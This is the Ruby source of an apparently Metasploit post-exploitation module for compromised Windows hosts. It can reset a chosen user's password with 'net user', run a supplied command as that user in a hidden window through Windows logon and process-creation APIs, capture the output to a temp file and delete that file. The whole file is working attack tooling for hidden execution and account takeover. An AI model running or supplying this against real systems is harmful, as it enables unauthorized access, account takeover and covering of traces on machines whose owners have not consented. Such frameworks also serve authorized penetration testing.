metasploit-framework/modules/post/windows/manage/run_as.rb

183 lines
5.8 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Priv
def initialize(info={})
super(update_info(info,
'Name' => "Windows Manage Run Command As User",
'Description' => %q{
This module will login with the specified username/password and execute the
supplied command as a hidden process. Output is not returned by default, by setting
CMDOUT to false output will be redirected to a temp file and read back in to
display.By setting advanced option SETPASS to true, it will reset the users
password and then execute the command.
},
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Kx499']
))
register_options(
[
OptString.new('USER', [true, 'Username to reset/login with' ]),
OptString.new('PASS', [true, 'Password to use' ]),
OptString.new('CMD', [true, 'Command to execute' ]),
OptBool.new('CMDOUT', [false, 'Retrieve command output', false]),
], self.class)
register_advanced_options(
[
OptBool.new('SETPASS', [false, 'Reset password', false])
], self.class)
end
# Check if sufficient privileges are present for certain actions and run getprivs for system
# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
# need to migrate to a process that is running as
# system. If you don't have privs, this exits script.
def priv_check
if is_system?
privs = session.sys.config.getprivs
if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege")
@isadmin = false
return true
else
return false
end
elsif is_admin?
@isadmin = true
return true
else
return false
end
end
def reset_pass(user,pass)
begin
tmpout = ""
cmd = "cmd.exe /c net user " + user + " " + pass
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
while(d = r.channel.read)
tmpout << d
break if d == ""
end
r.channel.close
return true if tmpout.include?("successfully")
return false
rescue
return false
end
end
def run
# set some instance vars
@IsAdmin = false
@host_info = session.sys.config.sysinfo
# Make sure we meet the requirements before running the script, note no need to return
# unless error
return 0 if session.type != "meterpreter"
# check/set vars
setpass = datastore["SETPASS"]
cmdout = datastore["CMDOUT"]
user = datastore["USER"] || nil
pass = datastore["PASS"] || nil
cmd = datastore["CMD"] || nil
rg_adv = session.railgun.advapi32
# reset user pass if setpass is true
if datastore["SETPASS"]
print_status("Setting user password")
if !reset_pass(user,pass)
print_error("Error resetting password")
return 0
end
end
# set profile paths
sysdrive = session.fs.file.expand_path("%SYSTEMDRIVE%")
os = @host_info['OS']
profiles_path = sysdrive + "\\Documents and Settings\\"
profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/
path = profiles_path + user + "\\"
outpath = path + "out.txt"
# this is start info struct for a hidden process last two params are std out and in.
#for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE
startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0]
startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL")
#set command string based on cmdout vars
cmdstr = "cmd.exe /c #{cmd}"
cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout
# Check privs and execute the correct commands
# if local admin use createprocesswithlogon, if system logonuser and createprocessasuser
# execute command and get output with a poor mans pipe
if priv_check
if @isadmin #local admin
print_status("Executing CreateProcessWithLogonW...we are Admin")
cs = rg_adv.CreateProcessWithLogonW(user,nil,pass,"LOGON_WITH_PROFILE",nil, cmdstr,
"CREATE_UNICODE_ENVIRONMENT",nil,path,startinfo,16)
else #system with correct token privs enabled
print_status("Executing CreateProcessAsUserA...we are SYSTEM")
l = rg_adv.LogonUserA(user,nil,pass, "LOGON32_LOGON_INTERACTIVE",
"LOGON32_PROVIDER_DEFAULT", 4)
cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false,
"CREATE_NEW_CONSOLE", nil, nil, startinfo, 16)
end
else
print_error("Insufficient Privileges, either you are not Admin or system or you elevated")
print_error("privs to system and do not have sufficient privileges. If you elevated to")
print_error("system, migrate to a process that was started as system (srvhost.exe)")
return 0
end
# Only process file if the process creation was successful, delete when done, give us info
# about process
if cs["return"]
tmpout = ""
if cmdout
outfile = session.fs.file.new(outpath, "rb")
until outfile.eof?
tmpout << outfile.read
end
outfile.close
c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true})
c.close
end
pi = cs["lpProcessInformation"].unpack("LLLL")
print_status("Command Run: #{cmdstr}")
print_status("Process Handle: #{pi[0]}")
print_status("Thread Handle: #{pi[1]}")
print_status("Process Id: #{pi[2]}")
print_status("Thread Id: #{pi[3]}")
print_line(tmpout)
else
print_error("Oops something went wrong. Error Returned by Windows was #{cs["GetLastError"]}")
return 0
end
end
end